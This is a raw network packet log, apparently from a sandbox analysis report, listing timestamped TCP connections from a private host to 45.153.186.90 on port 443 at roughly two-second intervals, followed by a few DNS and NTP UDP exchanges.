Aug 16, 2021 07:12:20.767945051 CEST	443	49750	45.153.186.90	192.168.2.3
Aug 16, 2021 07:12:20.987716913 CEST	443	49750	45.153.186.90	192.168.2.3
Aug 16, 2021 07:12:20.989506006 CEST	49750	443	192.168.2.3	45.153.186.90
Aug 16, 2021 07:12:21.001147032 CEST	49748	443	192.168.2.3	45.153.186.90
Aug 16, 2021 07:12:21.003393888 CEST	49751	443	192.168.2.3	45.153.186.90
Aug 16, 2021 07:12:21.041482925 CEST	443	49751	45.153.186.90	192.168.2.3
Aug 16, 2021 07:12:21.041646004 CEST	49751	443	192.168.2.3	45.153.186.90
Aug 16, 2021 07:12:21.042403936 CEST	49751	443	192.168.2.3	45.153.186.90
Aug 16, 2021 07:12:21.052000046 CEST	443	49748	45.153.186.90	192.168.2.3
Aug 16, 2021 07:12:21.052134991 CEST	49748	443	192.168.2.3	45.153.186.90
Aug 16, 2021 07:12:21.067778111 CEST	443	49751	45.153.186.90	192.168.2.3
Aug 16, 2021 07:12:21.092269897 CEST	443	49751	45.153.186.90	192.168.2.3
Aug 16, 2021 07:12:21.092374086 CEST	49751	443	192.168.2.3	45.153.186.90
Aug 16, 2021 07:12:21.093199015 CEST	49751	443	192.168.2.3	45.153.186.90
Aug 16, 2021 07:12:21.101315975 CEST	49751	443	192.168.2.3	45.153.186.90
Aug 16, 2021 07:12:21.131710052 CEST	443	49751	45.153.186.90	192.168.2.3
Aug 16, 2021 07:12:21.342878103 CEST	443	49751	45.153.186.90	192.168.2.3
Aug 16, 2021 07:12:21.343123913 CEST	49751	443	192.168.2.3	45.153.186.90
Aug 16, 2021 07:12:21.348443985 CEST	49750	443	192.168.2.3	45.153.186.90
Aug 16, 2021 07:12:21.349026918 CEST	49751	443	192.168.2.3	45.153.186.90
Aug 16, 2021 07:12:21.356966972 CEST	49752	443	192.168.2.3	45.153.186.90
Aug 16, 2021 07:12:21.357371092 CEST	49753	443	192.168.2.3	45.153.186.90
Aug 16, 2021 07:12:21.383162022 CEST	443	49752	45.153.186.90	192.168.2.3
Aug 16, 2021 07:12:21.383296013 CEST	49752	443	192.168.2.3	45.153.186.90
Aug 16, 2021 07:12:21.383359909 CEST	443	49753	45.153.186.90	192.168.2.3
Aug 16, 2021 07:12:21.383450031 CEST	49753	443	192.168.2.3	45.153.186.90
Aug 16, 2021 07:12:21.384577036 CEST	49753	443	192.168.2.3	45.153.186.90
Aug 16, 2021 07:12:21.384717941 CEST	49752	443	192.168.2.3	45.153.186.90
Aug 16, 2021 07:12:21.396027088 CEST	443	49751	45.153.186.90	192.168.2.3
Aug 16, 2021 07:12:21.396145105 CEST	49751	443	192.168.2.3	45.153.186.90
Aug 16, 2021 07:12:21.396157026 CEST	443	49750	45.153.186.90	192.168.2.3
Aug 16, 2021 07:12:21.396231890 CEST	49750	443	192.168.2.3	45.153.186.90
Aug 16, 2021 07:12:21.410506964 CEST	443	49753	45.153.186.90	192.168.2.3
Aug 16, 2021 07:12:21.411052942 CEST	443	49752	45.153.186.90	192.168.2.3
Aug 16, 2021 07:12:21.469007969 CEST	443	49753	45.153.186.90	192.168.2.3
Aug 16, 2021 07:12:21.469091892 CEST	49753	443	192.168.2.3	45.153.186.90
Aug 16, 2021 07:12:21.471848965 CEST	49753	443	192.168.2.3	45.153.186.90
Aug 16, 2021 07:12:21.477602959 CEST	49753	443	192.168.2.3	45.153.186.90
Aug 16, 2021 07:12:21.483184099 CEST	443	49752	45.153.186.90	192.168.2.3
Aug 16, 2021 07:12:21.483356953 CEST	49752	443	192.168.2.3	45.153.186.90
Aug 16, 2021 07:12:21.484364986 CEST	49752	443	192.168.2.3	45.153.186.90
Aug 16, 2021 07:12:21.491205931 CEST	49752	443	192.168.2.3	45.153.186.90
Aug 16, 2021 07:12:21.496691942 CEST	443	49753	45.153.186.90	192.168.2.3
Aug 16, 2021 07:12:21.504142046 CEST	443	49753	45.153.186.90	192.168.2.3
Aug 16, 2021 07:12:21.511668921 CEST	443	49752	45.153.186.90	192.168.2.3
Aug 16, 2021 07:12:21.518460035 CEST	443	49752	45.153.186.90	192.168.2.3
Aug 16, 2021 07:12:21.664354086 CEST	443	49752	45.153.186.90	192.168.2.3
Aug 16, 2021 07:12:21.666517019 CEST	49752	443	192.168.2.3	45.153.186.90
Aug 16, 2021 07:12:21.674501896 CEST	443	49753	45.153.186.90	192.168.2.3
Aug 16, 2021 07:12:21.674748898 CEST	49753	443	192.168.2.3	45.153.186.90
Aug 16, 2021 07:12:23.361455917 CEST	49752	443	192.168.2.3	45.153.186.90
Aug 16, 2021 07:12:23.363245010 CEST	49754	443	192.168.2.3	45.153.186.90
Aug 16, 2021 07:12:23.414808989 CEST	443	49754	45.153.186.90	192.168.2.3
Aug 16, 2021 07:12:23.415011883 CEST	49754	443	192.168.2.3	45.153.186.90
Aug 16, 2021 07:12:23.416174889 CEST	49754	443	192.168.2.3	45.153.186.90
Aug 16, 2021 07:12:23.429577112 CEST	443	49752	45.153.186.90	192.168.2.3
Aug 16, 2021 07:12:23.429734945 CEST	49752	443	192.168.2.3	45.153.186.90
Aug 16, 2021 07:12:23.444974899 CEST	443	49754	45.153.186.90	192.168.2.3
Aug 16, 2021 07:12:23.460078955 CEST	443	49754	45.153.186.90	192.168.2.3
Aug 16, 2021 07:12:23.460226059 CEST	49754	443	192.168.2.3	45.153.186.90
Aug 16, 2021 07:12:23.461093903 CEST	49754	443	192.168.2.3	45.153.186.90
Aug 16, 2021 07:12:23.470261097 CEST	49754	443	192.168.2.3	45.153.186.90
Aug 16, 2021 07:12:23.514653921 CEST	443	49754	45.153.186.90	192.168.2.3
Aug 16, 2021 07:12:23.685071945 CEST	443	49754	45.153.186.90	192.168.2.3
Aug 16, 2021 07:12:23.686486959 CEST	49754	443	192.168.2.3	45.153.186.90
Aug 16, 2021 07:12:25.705034971 CEST	49753	443	192.168.2.3	45.153.186.90
Aug 16, 2021 07:12:25.706470013 CEST	49755	443	192.168.2.3	45.153.186.90
Aug 16, 2021 07:12:25.756040096 CEST	443	49755	45.153.186.90	192.168.2.3
Aug 16, 2021 07:12:25.756232977 CEST	49755	443	192.168.2.3	45.153.186.90
Aug 16, 2021 07:12:25.757344007 CEST	49755	443	192.168.2.3	45.153.186.90
Aug 16, 2021 07:12:25.759238958 CEST	443	49753	45.153.186.90	192.168.2.3
Aug 16, 2021 07:12:25.759330988 CEST	49753	443	192.168.2.3	45.153.186.90
Aug 16, 2021 07:12:25.781516075 CEST	443	49755	45.153.186.90	192.168.2.3
Aug 16, 2021 07:12:25.946095943 CEST	443	49755	45.153.186.90	192.168.2.3
Aug 16, 2021 07:12:25.946317911 CEST	49755	443	192.168.2.3	45.153.186.90
Aug 16, 2021 07:12:25.946993113 CEST	49755	443	192.168.2.3	45.153.186.90
Aug 16, 2021 07:12:25.951864004 CEST	49755	443	192.168.2.3	45.153.186.90
Aug 16, 2021 07:12:25.973038912 CEST	443	49755	45.153.186.90	192.168.2.3
Aug 16, 2021 07:12:25.977895975 CEST	443	49755	45.153.186.90	192.168.2.3
Aug 16, 2021 07:12:26.145884037 CEST	443	49755	45.153.186.90	192.168.2.3
Aug 16, 2021 07:12:26.146141052 CEST	49755	443	192.168.2.3	45.153.186.90
Aug 16, 2021 07:12:28.157855034 CEST	49754	443	192.168.2.3	45.153.186.90
Aug 16, 2021 07:12:28.159457922 CEST	49756	443	192.168.2.3	45.153.186.90
Aug 16, 2021 07:12:28.184719086 CEST	443	49756	45.153.186.90	192.168.2.3
Aug 16, 2021 07:12:28.184997082 CEST	49756	443	192.168.2.3	45.153.186.90
Aug 16, 2021 07:12:28.185826063 CEST	49756	443	192.168.2.3	45.153.186.90
Aug 16, 2021 07:12:28.202061892 CEST	443	49754	45.153.186.90	192.168.2.3
Aug 16, 2021 07:12:28.202171087 CEST	49754	443	192.168.2.3	45.153.186.90
Aug 16, 2021 07:12:28.209467888 CEST	443	49756	45.153.186.90	192.168.2.3
Aug 16, 2021 07:12:28.247095108 CEST	443	49756	45.153.186.90	192.168.2.3
Aug 16, 2021 07:12:28.247215033 CEST	49756	443	192.168.2.3	45.153.186.90
Aug 16, 2021 07:12:28.248087883 CEST	49756	443	192.168.2.3	45.153.186.90
Aug 16, 2021 07:12:28.252635002 CEST	49756	443	192.168.2.3	45.153.186.90
Aug 16, 2021 07:12:28.300442934 CEST	443	49756	45.153.186.90	192.168.2.3
Aug 16, 2021 07:12:28.487035990 CEST	443	49756	45.153.186.90	192.168.2.3
Aug 16, 2021 07:12:28.487185001 CEST	49756	443	192.168.2.3	45.153.186.90
Aug 16, 2021 07:12:30.503464937 CEST	49755	443	192.168.2.3	45.153.186.90
Aug 16, 2021 07:12:30.505615950 CEST	49757	443	192.168.2.3	45.153.186.90
Aug 16, 2021 07:12:30.531708956 CEST	443	49757	45.153.186.90	192.168.2.3
Aug 16, 2021 07:12:30.531930923 CEST	49757	443	192.168.2.3	45.153.186.90
Aug 16, 2021 07:12:30.534115076 CEST	49757	443	192.168.2.3	45.153.186.90
Aug 16, 2021 07:12:30.537584066 CEST	443	49755	45.153.186.90	192.168.2.3
Aug 16, 2021 07:12:30.537749052 CEST	49755	443	192.168.2.3	45.153.186.90
Aug 16, 2021 07:12:30.559868097 CEST	443	49757	45.153.186.90	192.168.2.3
Aug 16, 2021 07:12:30.576869011 CEST	443	49757	45.153.186.90	192.168.2.3
Aug 16, 2021 07:12:30.577137947 CEST	49757	443	192.168.2.3	45.153.186.90
Aug 16, 2021 07:12:30.577797890 CEST	49757	443	192.168.2.3	45.153.186.90
Aug 16, 2021 07:12:30.583677053 CEST	49757	443	192.168.2.3	45.153.186.90
Aug 16, 2021 07:12:30.629903078 CEST	443	49757	45.153.186.90	192.168.2.3
Aug 16, 2021 07:12:30.755395889 CEST	443	49757	45.153.186.90	192.168.2.3
Aug 16, 2021 07:12:30.755670071 CEST	49757	443	192.168.2.3	45.153.186.90
Aug 16, 2021 07:12:32.768660069 CEST	49756	443	192.168.2.3	45.153.186.90
Aug 16, 2021 07:12:32.770543098 CEST	49758	443	192.168.2.3	45.153.186.90
Aug 16, 2021 07:12:32.794810057 CEST	443	49758	45.153.186.90	192.168.2.3
Aug 16, 2021 07:12:32.795125961 CEST	49758	443	192.168.2.3	45.153.186.90
Aug 16, 2021 07:12:32.795952082 CEST	49758	443	192.168.2.3	45.153.186.90
Aug 16, 2021 07:12:32.819349051 CEST	443	49758	45.153.186.90	192.168.2.3
Aug 16, 2021 07:12:32.830347061 CEST	443	49756	45.153.186.90	192.168.2.3
Aug 16, 2021 07:12:32.830560923 CEST	49756	443	192.168.2.3	45.153.186.90
Aug 16, 2021 07:12:32.969054937 CEST	443	49758	45.153.186.90	192.168.2.3
Aug 16, 2021 07:12:32.971479893 CEST	49758	443	192.168.2.3	45.153.186.90
Aug 16, 2021 07:12:32.972414017 CEST	49758	443	192.168.2.3	45.153.186.90
Aug 16, 2021 07:12:32.976330996 CEST	49758	443	192.168.2.3	45.153.186.90
Aug 16, 2021 07:12:33.006015062 CEST	443	49758	45.153.186.90	192.168.2.3
Aug 16, 2021 07:12:33.027299881 CEST	443	49758	45.153.186.90	192.168.2.3
Aug 16, 2021 07:12:33.177437067 CEST	443	49758	45.153.186.90	192.168.2.3
Aug 16, 2021 07:12:33.177558899 CEST	49758	443	192.168.2.3	45.153.186.90
Aug 16, 2021 07:12:35.194154024 CEST	49757	443	192.168.2.3	45.153.186.90
Aug 16, 2021 07:12:35.195411921 CEST	49759	443	192.168.2.3	45.153.186.90
Aug 16, 2021 07:12:35.222928047 CEST	443	49759	45.153.186.90	192.168.2.3
Aug 16, 2021 07:12:35.223664045 CEST	49759	443	192.168.2.3	45.153.186.90
Aug 16, 2021 07:12:35.224342108 CEST	49759	443	192.168.2.3	45.153.186.90
Aug 16, 2021 07:12:35.230230093 CEST	443	49757	45.153.186.90	192.168.2.3
Aug 16, 2021 07:12:35.230962992 CEST	49757	443	192.168.2.3	45.153.186.90
Aug 16, 2021 07:12:35.254961014 CEST	443	49759	45.153.186.90	192.168.2.3
Aug 16, 2021 07:12:35.271367073 CEST	443	49759	45.153.186.90	192.168.2.3
Aug 16, 2021 07:12:35.271677971 CEST	49759	443	192.168.2.3	45.153.186.90
Aug 16, 2021 07:12:35.272175074 CEST	49759	443	192.168.2.3	45.153.186.90
Aug 16, 2021 07:12:35.275949001 CEST	49759	443	192.168.2.3	45.153.186.90
Aug 16, 2021 07:12:35.321460962 CEST	443	49759	45.153.186.90	192.168.2.3
Aug 16, 2021 07:12:35.443741083 CEST	443	49759	45.153.186.90	192.168.2.3
Aug 16, 2021 07:12:35.447709084 CEST	49759	443	192.168.2.3	45.153.186.90
Aug 16, 2021 07:12:37.456007004 CEST	49758	443	192.168.2.3	45.153.186.90
Aug 16, 2021 07:12:37.457253933 CEST	49762	443	192.168.2.3	45.153.186.90
Aug 16, 2021 07:12:37.496058941 CEST	443	49758	45.153.186.90	192.168.2.3
Aug 16, 2021 07:12:37.496156931 CEST	49758	443	192.168.2.3	45.153.186.90
Aug 16, 2021 07:12:37.503993034 CEST	443	49762	45.153.186.90	192.168.2.3
Aug 16, 2021 07:12:37.504116058 CEST	49762	443	192.168.2.3	45.153.186.90
Aug 16, 2021 07:12:37.504699945 CEST	49762	443	192.168.2.3	45.153.186.90
Aug 16, 2021 07:12:37.543196917 CEST	443	49762	45.153.186.90	192.168.2.3
Aug 16, 2021 07:12:37.543258905 CEST	443	49762	45.153.186.90	192.168.2.3
Aug 16, 2021 07:12:37.543334961 CEST	49762	443	192.168.2.3	45.153.186.90
Aug 16, 2021 07:12:37.543817043 CEST	49762	443	192.168.2.3	45.153.186.90
Aug 16, 2021 07:12:37.547930956 CEST	49762	443	192.168.2.3	45.153.186.90
Aug 16, 2021 07:12:37.589967012 CEST	443	49762	45.153.186.90	192.168.2.3
Aug 16, 2021 07:12:37.757950068 CEST	443	49762	45.153.186.90	192.168.2.3
Aug 16, 2021 07:12:37.758061886 CEST	49762	443	192.168.2.3	45.153.186.90
Aug 16, 2021 07:12:39.771190882 CEST	49759	443	192.168.2.3	45.153.186.90
Aug 16, 2021 07:12:39.774285078 CEST	49763	443	192.168.2.3	45.153.186.90
Aug 16, 2021 07:12:39.801590919 CEST	443	49763	45.153.186.90	192.168.2.3
Aug 16, 2021 07:12:39.801801920 CEST	49763	443	192.168.2.3	45.153.186.90
Aug 16, 2021 07:12:39.803286076 CEST	49763	443	192.168.2.3	45.153.186.90
Aug 16, 2021 07:12:39.808218002 CEST	443	49759	45.153.186.90	192.168.2.3
Aug 16, 2021 07:12:39.808391094 CEST	49759	443	192.168.2.3	45.153.186.90
Aug 16, 2021 07:12:39.826853991 CEST	443	49763	45.153.186.90	192.168.2.3
Aug 16, 2021 07:12:39.872085094 CEST	443	49763	45.153.186.90	192.168.2.3
Aug 16, 2021 07:12:39.872178078 CEST	49763	443	192.168.2.3	45.153.186.90
Aug 16, 2021 07:12:39.872900963 CEST	49763	443	192.168.2.3	45.153.186.90
Aug 16, 2021 07:12:39.880148888 CEST	49763	443	192.168.2.3	45.153.186.90
Aug 16, 2021 07:12:39.898703098 CEST	443	49763	45.153.186.90	192.168.2.3
Aug 16, 2021 07:12:39.917747021 CEST	443	49763	45.153.186.90	192.168.2.3
Aug 16, 2021 07:12:40.115735054 CEST	443	49763	45.153.186.90	192.168.2.3
Aug 16, 2021 07:12:40.115967989 CEST	49763	443	192.168.2.3	45.153.186.90
Aug 16, 2021 07:12:42.198489904 CEST	49762	443	192.168.2.3	45.153.186.90
Aug 16, 2021 07:12:42.200067043 CEST	49764	443	192.168.2.3	45.153.186.90
Aug 16, 2021 07:12:42.226434946 CEST	443	49764	45.153.186.90	192.168.2.3
Aug 16, 2021 07:12:42.226669073 CEST	49764	443	192.168.2.3	45.153.186.90
Aug 16, 2021 07:12:42.257622004 CEST	443	49762	45.153.186.90	192.168.2.3
Aug 16, 2021 07:12:42.257791996 CEST	49762	443	192.168.2.3	45.153.186.90
Aug 16, 2021 07:12:42.748342991 CEST	49764	443	192.168.2.3	45.153.186.90
Aug 16, 2021 07:12:42.775152922 CEST	443	49764	45.153.186.90	192.168.2.3
Aug 16, 2021 07:12:42.798605919 CEST	443	49764	45.153.186.90	192.168.2.3
Aug 16, 2021 07:12:42.814394951 CEST	49764	443	192.168.2.3	45.153.186.90
Aug 16, 2021 07:12:42.834418058 CEST	49764	443	192.168.2.3	45.153.186.90
Aug 16, 2021 07:12:42.838049889 CEST	49764	443	192.168.2.3	45.153.186.90
Aug 16, 2021 07:12:42.880321980 CEST	443	49764	45.153.186.90	192.168.2.3
Aug 16, 2021 07:12:43.094883919 CEST	443	49764	45.153.186.90	192.168.2.3
Aug 16, 2021 07:12:43.094980955 CEST	49764	443	192.168.2.3	45.153.186.90
Aug 16, 2021 07:12:45.111217976 CEST	49763	443	192.168.2.3	45.153.186.90
Aug 16, 2021 07:12:45.112617970 CEST	49765	443	192.168.2.3	45.153.186.90
Aug 16, 2021 07:12:45.140331984 CEST	443	49765	45.153.186.90	192.168.2.3
Aug 16, 2021 07:12:45.140455961 CEST	49765	443	192.168.2.3	45.153.186.90
Aug 16, 2021 07:12:45.141207933 CEST	49765	443	192.168.2.3	45.153.186.90
Aug 16, 2021 07:12:45.165539026 CEST	443	49763	45.153.186.90	192.168.2.3
Aug 16, 2021 07:12:45.165659904 CEST	49763	443	192.168.2.3	45.153.186.90
Aug 16, 2021 07:12:45.166141033 CEST	443	49765	45.153.186.90	192.168.2.3
Aug 16, 2021 07:12:45.217201948 CEST	443	49765	45.153.186.90	192.168.2.3
Aug 16, 2021 07:12:45.217309952 CEST	49765	443	192.168.2.3	45.153.186.90
Aug 16, 2021 07:12:45.218056917 CEST	49765	443	192.168.2.3	45.153.186.90
Aug 16, 2021 07:12:45.226609945 CEST	49765	443	192.168.2.3	45.153.186.90
Aug 16, 2021 07:12:45.243621111 CEST	443	49765	45.153.186.90	192.168.2.3
Aug 16, 2021 07:12:45.251797915 CEST	443	49765	45.153.186.90	192.168.2.3
Aug 16, 2021 07:12:45.385915995 CEST	443	49765	45.153.186.90	192.168.2.3
Aug 16, 2021 07:12:45.385998964 CEST	49765	443	192.168.2.3	45.153.186.90
Aug 16, 2021 07:12:47.399010897 CEST	49764	443	192.168.2.3	45.153.186.90
Aug 16, 2021 07:12:47.400827885 CEST	49766	443	192.168.2.3	45.153.186.90
Aug 16, 2021 07:12:47.436851025 CEST	443	49766	45.153.186.90	192.168.2.3
Aug 16, 2021 07:12:47.436954975 CEST	443	49764	45.153.186.90	192.168.2.3
Aug 16, 2021 07:12:47.437078953 CEST	49766	443	192.168.2.3	45.153.186.90
Aug 16, 2021 07:12:47.437186003 CEST	49764	443	192.168.2.3	45.153.186.90
Aug 16, 2021 07:12:47.438066959 CEST	49766	443	192.168.2.3	45.153.186.90
Aug 16, 2021 07:12:47.462799072 CEST	443	49766	45.153.186.90	192.168.2.3
Aug 16, 2021 07:12:47.528253078 CEST	443	49766	45.153.186.90	192.168.2.3
Aug 16, 2021 07:12:47.528384924 CEST	49766	443	192.168.2.3	45.153.186.90
Aug 16, 2021 07:12:47.528877020 CEST	49766	443	192.168.2.3	45.153.186.90
Aug 16, 2021 07:12:47.532742977 CEST	49766	443	192.168.2.3	45.153.186.90
Aug 16, 2021 07:12:47.558456898 CEST	443	49766	45.153.186.90	192.168.2.3
Aug 16, 2021 07:12:47.558480978 CEST	443	49766	45.153.186.90	192.168.2.3
Aug 16, 2021 07:12:47.702967882 CEST	443	49766	45.153.186.90	192.168.2.3
Aug 16, 2021 07:12:47.703926086 CEST	49766	443	192.168.2.3	45.153.186.90
Aug 16, 2021 07:12:49.712192059 CEST	49765	443	192.168.2.3	45.153.186.90
Aug 16, 2021 07:12:49.720257998 CEST	49767	443	192.168.2.3	45.153.186.90
Aug 16, 2021 07:12:49.747673035 CEST	443	49765	45.153.186.90	192.168.2.3
Aug 16, 2021 07:12:49.747845888 CEST	49765	443	192.168.2.3	45.153.186.90
Aug 16, 2021 07:12:49.748433113 CEST	443	49767	45.153.186.90	192.168.2.3
Aug 16, 2021 07:12:49.748588085 CEST	49767	443	192.168.2.3	45.153.186.90
Aug 16, 2021 07:12:49.749820948 CEST	49767	443	192.168.2.3	45.153.186.90
Aug 16, 2021 07:12:49.778197050 CEST	443	49767	45.153.186.90	192.168.2.3
Aug 16, 2021 07:12:49.893049955 CEST	443	49767	45.153.186.90	192.168.2.3
Aug 16, 2021 07:12:49.893285990 CEST	49767	443	192.168.2.3	45.153.186.90
Aug 16, 2021 07:12:49.893878937 CEST	49767	443	192.168.2.3	45.153.186.90
Aug 16, 2021 07:12:49.907419920 CEST	49767	443	192.168.2.3	45.153.186.90
Aug 16, 2021 07:12:49.918822050 CEST	443	49767	45.153.186.90	192.168.2.3
Aug 16, 2021 07:12:49.932929993 CEST	443	49767	45.153.186.90	192.168.2.3
Aug 16, 2021 07:12:50.126483917 CEST	443	49767	45.153.186.90	192.168.2.3
Aug 16, 2021 07:12:50.126734018 CEST	49767	443	192.168.2.3	45.153.186.90
Aug 16, 2021 07:12:52.144119978 CEST	49766	443	192.168.2.3	45.153.186.90
Aug 16, 2021 07:12:52.147386074 CEST	49768	443	192.168.2.3	45.153.186.90
Aug 16, 2021 07:12:52.174536943 CEST	443	49768	45.153.186.90	192.168.2.3
Aug 16, 2021 07:12:52.174731016 CEST	49768	443	192.168.2.3	45.153.186.90
Aug 16, 2021 07:12:52.176191092 CEST	49768	443	192.168.2.3	45.153.186.90
Aug 16, 2021 07:12:52.195323944 CEST	443	49766	45.153.186.90	192.168.2.3
Aug 16, 2021 07:12:52.195540905 CEST	49766	443	192.168.2.3	45.153.186.90
Aug 16, 2021 07:12:52.211654902 CEST	443	49768	45.153.186.90	192.168.2.3
Aug 16, 2021 07:12:52.427373886 CEST	443	49768	45.153.186.90	192.168.2.3
Aug 16, 2021 07:12:52.427525997 CEST	49768	443	192.168.2.3	45.153.186.90
Aug 16, 2021 07:12:52.427959919 CEST	49768	443	192.168.2.3	45.153.186.90
Aug 16, 2021 07:12:52.431447983 CEST	49768	443	192.168.2.3	45.153.186.90
Aug 16, 2021 07:12:52.455008030 CEST	443	49768	45.153.186.90	192.168.2.3
Aug 16, 2021 07:12:52.463721037 CEST	443	49768	45.153.186.90	192.168.2.3
Aug 16, 2021 07:12:52.728817940 CEST	443	49768	45.153.186.90	192.168.2.3
Aug 16, 2021 07:12:52.728950024 CEST	49768	443	192.168.2.3	45.153.186.90
Aug 16, 2021 07:12:54.746973038 CEST	49767	443	192.168.2.3	45.153.186.90
Aug 16, 2021 07:12:54.749306917 CEST	49769	443	192.168.2.3	45.153.186.90
Aug 16, 2021 07:12:54.773637056 CEST	443	49767	45.153.186.90	192.168.2.3
Aug 16, 2021 07:12:54.773910999 CEST	49767	443	192.168.2.3	45.153.186.90
Aug 16, 2021 07:12:54.777333021 CEST	443	49769	45.153.186.90	192.168.2.3
Aug 16, 2021 07:12:54.777874947 CEST	49769	443	192.168.2.3	45.153.186.90
Aug 16, 2021 07:12:54.778994083 CEST	49769	443	192.168.2.3	45.153.186.90
Aug 16, 2021 07:12:54.809072971 CEST	443	49769	45.153.186.90	192.168.2.3
Aug 16, 2021 07:12:54.835275888 CEST	443	49769	45.153.186.90	192.168.2.3
Aug 16, 2021 07:12:54.835427046 CEST	49769	443	192.168.2.3	45.153.186.90
Aug 16, 2021 07:12:54.836278915 CEST	49769	443	192.168.2.3	45.153.186.90
Aug 16, 2021 07:12:54.842745066 CEST	49769	443	192.168.2.3	45.153.186.90
Aug 16, 2021 07:12:54.867049932 CEST	443	49769	45.153.186.90	192.168.2.3
Aug 16, 2021 07:12:54.966264963 CEST	443	49769	45.153.186.90	192.168.2.3
Aug 16, 2021 07:12:54.966458082 CEST	49769	443	192.168.2.3	45.153.186.90
Aug 16, 2021 07:12:56.980038881 CEST	49768	443	192.168.2.3	45.153.186.90
Aug 16, 2021 07:12:56.981625080 CEST	49770	443	192.168.2.3	45.153.186.90
Aug 16, 2021 07:12:57.007363081 CEST	443	49770	45.153.186.90	192.168.2.3
Aug 16, 2021 07:12:57.007492065 CEST	49770	443	192.168.2.3	45.153.186.90
Aug 16, 2021 07:12:57.008517027 CEST	49770	443	192.168.2.3	45.153.186.90
Aug 16, 2021 07:12:57.017631054 CEST	443	49768	45.153.186.90	192.168.2.3
Aug 16, 2021 07:12:57.017901897 CEST	49768	443	192.168.2.3	45.153.186.90
Aug 16, 2021 07:12:57.041362047 CEST	443	49770	45.153.186.90	192.168.2.3
Aug 16, 2021 07:12:57.049683094 CEST	443	49770	45.153.186.90	192.168.2.3
Aug 16, 2021 07:12:57.049793005 CEST	49770	443	192.168.2.3	45.153.186.90
Aug 16, 2021 07:12:57.050415993 CEST	49770	443	192.168.2.3	45.153.186.90
Aug 16, 2021 07:12:57.055566072 CEST	49770	443	192.168.2.3	45.153.186.90
Aug 16, 2021 07:12:57.095325947 CEST	443	49770	45.153.186.90	192.168.2.3
Aug 16, 2021 07:12:57.279164076 CEST	443	49770	45.153.186.90	192.168.2.3
Aug 16, 2021 07:12:57.281650066 CEST	49770	443	192.168.2.3	45.153.186.90
Aug 16, 2021 07:12:59.334916115 CEST	49769	443	192.168.2.3	45.153.186.90
Aug 16, 2021 07:12:59.336157084 CEST	49771	443	192.168.2.3	45.153.186.90
Aug 16, 2021 07:12:59.365839958 CEST	443	49771	45.153.186.90	192.168.2.3
Aug 16, 2021 07:12:59.365880013 CEST	443	49769	45.153.186.90	192.168.2.3
Aug 16, 2021 07:12:59.365942001 CEST	49771	443	192.168.2.3	45.153.186.90
Aug 16, 2021 07:12:59.365974903 CEST	49769	443	192.168.2.3	45.153.186.90
Aug 16, 2021 07:12:59.367106915 CEST	49771	443	192.168.2.3	45.153.186.90
Aug 16, 2021 07:12:59.395936966 CEST	443	49771	45.153.186.90	192.168.2.3
Aug 16, 2021 07:12:59.405833006 CEST	443	49771	45.153.186.90	192.168.2.3
Aug 16, 2021 07:12:59.405936956 CEST	49771	443	192.168.2.3	45.153.186.90
Aug 16, 2021 07:12:59.407388926 CEST	49771	443	192.168.2.3	45.153.186.90
Aug 16, 2021 07:12:59.418376923 CEST	49771	443	192.168.2.3	45.153.186.90
Aug 16, 2021 07:12:59.457845926 CEST	443	49771	45.153.186.90	192.168.2.3
Aug 16, 2021 07:12:59.617151022 CEST	443	49771	45.153.186.90	192.168.2.3
Aug 16, 2021 07:12:59.617247105 CEST	49771	443	192.168.2.3	45.153.186.90
Aug 16, 2021 07:13:01.622725010 CEST	49770	443	192.168.2.3	45.153.186.90
Aug 16, 2021 07:13:01.624543905 CEST	49772	443	192.168.2.3	45.153.186.90
Aug 16, 2021 07:13:01.649950027 CEST	443	49772	45.153.186.90	192.168.2.3
Aug 16, 2021 07:13:01.650103092 CEST	49772	443	192.168.2.3	45.153.186.90
Aug 16, 2021 07:13:01.651480913 CEST	49772	443	192.168.2.3	45.153.186.90
Aug 16, 2021 07:13:01.670140028 CEST	443	49770	45.153.186.90	192.168.2.3
Aug 16, 2021 07:13:01.670265913 CEST	49770	443	192.168.2.3	45.153.186.90
Aug 16, 2021 07:13:01.677746058 CEST	443	49772	45.153.186.90	192.168.2.3
Aug 16, 2021 07:13:01.748240948 CEST	443	49772	45.153.186.90	192.168.2.3
Aug 16, 2021 07:13:01.748342037 CEST	49772	443	192.168.2.3	45.153.186.90
Aug 16, 2021 07:13:01.749043941 CEST	49772	443	192.168.2.3	45.153.186.90
Aug 16, 2021 07:13:01.756449938 CEST	49772	443	192.168.2.3	45.153.186.90
Aug 16, 2021 07:13:01.773226023 CEST	443	49772	45.153.186.90	192.168.2.3
Aug 16, 2021 07:13:01.786608934 CEST	443	49772	45.153.186.90	192.168.2.3
Aug 16, 2021 07:13:01.972029924 CEST	443	49772	45.153.186.90	192.168.2.3
Aug 16, 2021 07:13:01.972316027 CEST	49772	443	192.168.2.3	45.153.186.90
Aug 16, 2021 07:13:10.511590004 CEST	49772	443	192.168.2.3	45.153.186.90
Aug 16, 2021 07:13:10.511749029 CEST	49771	443	192.168.2.3	45.153.186.90
Aug 16, 2021 07:13:10.539695024 CEST	443	49771	45.153.186.90	192.168.2.3
Aug 16, 2021 07:13:10.539716959 CEST	443	49772	45.153.186.90	192.168.2.3
Aug 16, 2021 07:13:10.539835930 CEST	49771	443	192.168.2.3	45.153.186.90
Aug 16, 2021 07:13:10.539870024 CEST	49772	443	192.168.2.3	45.153.186.90

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Aug 16, 2021 07:10:50.783526897 CEST	51281	53	192.168.2.3	8.8.8.8
Aug 16, 2021 07:10:50.816453934 CEST	53	51281	8.8.8.8	192.168.2.3
Aug 16, 2021 07:10:52.776083946 CEST	49199	53	192.168.2.3	8.8.8.8
Aug 16, 2021 07:10:52.813324928 CEST	53	49199	8.8.8.8	192.168.2.3
Aug 16, 2021 07:11:07.998404980 CEST	50620	53	192.168.2.3	8.8.8.8
Aug 16, 2021 07:11:08.095299006 CEST	53	50620	8.8.8.8	192.168.2.3
Aug 16, 2021 07:11:08.184398890 CEST	64938	53	192.168.2.3	8.8.8.8
Aug 16, 2021 07:11:08.222181082 CEST	53	64938	8.8.8.8	192.168.2.3
Aug 16, 2021 07:11:08.223575115 CEST	64939	123	192.168.2.3	194.58.200.20
Aug 16, 2021 07:11:08.259813070 CEST	123	64939	194.58.200.20	192.168.2.3
Aug 16, 2021 07:11:08.265342951 CEST	60152	53	192.168.2.3	185.243.215.214
Aug 16, 2021 07:11:09.301246881 CEST	60152	53	192.168.2.3	185.243.215.214
Aug 16, 2021 07:11:10.299215078 CEST	60152	53	192.168.2.3	185.243.215.214
